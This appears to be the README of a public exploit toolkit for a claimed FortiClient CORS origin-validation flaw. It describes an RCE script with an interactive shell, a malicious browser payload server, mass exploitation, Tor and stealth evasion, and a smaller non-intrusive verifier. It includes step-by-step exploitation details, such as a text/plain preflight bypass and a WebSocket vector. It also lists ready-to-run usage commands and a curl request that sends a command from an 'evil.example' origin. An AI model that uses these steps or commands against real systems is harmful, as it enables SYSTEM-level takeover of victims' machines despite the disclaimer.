Red/blue team toolkit for CVE-2026-121529 FortiClient CORS origin validation flaw: RCE exploit with interactive shell, browser payload server, mass scan, plus non-intrusive CORS verifier.
Ethical Use Only - Authorized Tests This repository provides tools for authorized security professionals, red teams, and blue teams only. Unauthorized access to computer systems is illegal under CFAA (US), Computer Misuse Act (UK), TCK 243/244 (Turkey), and similar laws worldwide.

CVE-2026-121529 is a critical unauthenticated Origin Validation Error (CWE-346) in FortiClient's local API, specifically targeting the FortiPAM privileged session component (FortiVRS.exe on Windows). It allows an unauthenticated attacker to execute arbitrary commands with SYSTEM privileges via a cross-origin request from the victim's browser. CVSS score: 9.6 (Critical).
The flaw affects FortiClient versions 7.4.0 through 7.4.7 and 7.2.0 through 7.2.14. The root cause is an overly permissive CORS configuration on the local API listening on 127.0.0.1:9191, which reflects the Origin header without validation and sets Access-Control-Allow-Credentials: true. This bypasses browser security boundaries, allowing any website to communicate with the privileged local service.
fetch() request to http://127.0.0.1:9191/api/v1/privileged/session.Origin in the Access-Control-Allow-Origin response header, allowing the browser to read the response.{"command": "..."}) and executes it with SYSTEM privileges.ws://127.0.0.1:9191/ws) is not governed by CORS policies, meaning patches that only fix HTTP headers leave this vector open.SYSTEM, enabling persistence, credential theft, lateral movement, and defense evasion.7.4.0 to 7.4.7, 7.2.0 to 7.2.14127.0.0.1:9191 (though this breaks FortiPAM functionality).POST requests to /api/v1/privileged/session.| Tool | Purpose | Intended User |
|---|---|---|
exploit.py | Full red team toolkit with direct API RCE, browser-based payload server (--serve), interactive shell, mass scanning, enumeration (--enum), command chaining, SOCKS5/Tor proxy, stealth jitter, and JSON reporting. | Red teams / authorized pentesters (ethical only) |
verifier.py | Non-intrusive exposure scanner that detects FortiClient's API via port check, validates CORS misconfiguration using OPTIONS preflight, identifies WAF presence, and produces JSON/CSV reports. Never sends an execution payload. | Blue teams / security auditors |
| Feature | exploit.py | verifier.py |
|---|---|---|
| Port detection | [+] | [+] |
| CORS preflight check | [-] | [+] |
| Direct RCE (POST) | [+] | [-] |
Browser payload server (--serve) | [+] | [-] |
| CORS bypass (text/plain) | [+] | [-] |
Command enumeration (--enum) | [+] | [-] |
Command file execution (--exec-file) | [+] | [-] |
| Interactive shell | [+] | [-] |
| Upload/Download in shell | [+] | [-] |
| Mass scanning (multi-thread) | [+] | [+] |
| File / target list input | [+] | [+] |
| SOCKS5/Tor proxy | [+] | [-] |
Stealth jitter (--stealth) | [+] | [-] |
| User-Agent rotation | [+] | [+] |
| Retry with backoff | [+] | [+] |
| WAF detection | [+] | [+] |
| JSON report | [+] | [+] |
| CSV report | [-] | [+] |
Chain mode (--chain) | [+] | [-] |
| Non-intrusive (safe) mode | [-] | [+] |
| IoC recommendations | [-] | [+] |
| Scenario | Recommended Tool |
|---|---|
| Blue Team - verifying if your FortiClient is exposed | verifier.py |
| Security Audit - non-intrusive CORS assessment | verifier.py |
| Compliance / Reporting - WAF and version inventory | verifier.py |
| Red Team - authorized penetration testing with RCE | exploit.py |
| Bug Bounty - responsible disclosure testing | verifier.py |
| Mass Scanning - checking many endpoints for exposure | verifier.py (read-only) or exploit.py (with --file) |
| Incident Response - checking if systems are compromised | verifier.py |
| Post-Exploitation - interactive shell and enumeration | exploit.py --shell --enum |
git clone https://github.com/tc4dy/CVE-2026-121529-PoC-Toolkit
cd CVE-2026-121529-PoC-Toolkit
pip install -r requirements.txt
pysocks
| # | Scenario | Command |
|---|---|---|
| 1 | Quick exposure check | python3 verifier.py --target http://127.0.0.1:9191 |
| 2 | Detailed scan with report | python3 verifier.py --target http://127.0.0.1:9191 --output report.json -v |
| 3 | Mass audit from file | python3 verifier.py --file targets.txt --threads 32 --output audit.csv |
| 4 | Single command execution | python3 exploit.py --target http://127.0.0.1:9191 --command "whoami" |
| 5 | Full enumeration | python3 exploit.py --target http://127.0.0.1:9191 --enum |
| 6 | Interactive shell | python3 exploit.py --target http://127.0.0.1:9191 --shell |
| 7 | Browser payload server | python3 exploit.py --serve --target 127.0.0.1 --lhost 192.168.1.10 |
| 8 | Chain mode (browser) | python3 exploit.py --serve --target 127.0.0.1 --lhost 192.168.1.10 --chain --enum |
| 9 | Tor + stealth | python3 exploit.py --target http://127.0.0.1:9191 --tor --stealth |
| 10 | Mass exploit | python3 exploit.py --file targets.txt --threads 20 --output results.json |
The exploit leverages the following FortiClient endpoints and steps:
| Step | Method | Endpoint | Description |
|---|---|---|---|
| 1. Port Check | TCP | 127.0.0.1:9191 | Verify the local API is listening |
| 2. CORS Probe | OPTIONS | /api/v1/privileged/session | Check if Access-Control-Allow-Origin reflects the attacker's origin |
| 3. Command Execution | POST | /api/v1/privileged/session | Send {"command": "..."} with Content-Type: text/plain to avoid CORS preflight |
| 4. Output Extraction | - | - | Parse the response for output, result, stdout, or raw text |
| 5. Browser Payload | GET | /payload | Serve a malicious HTML page that performs steps 2-4 automatically |
# Direct API execution
curl -X POST http://127.0.0.1:9191/api/v1/privileged/session \
-H "Origin: http://evil.example" \
-H "Content-Type: text/plain" \
-d '{"command":"whoami"}'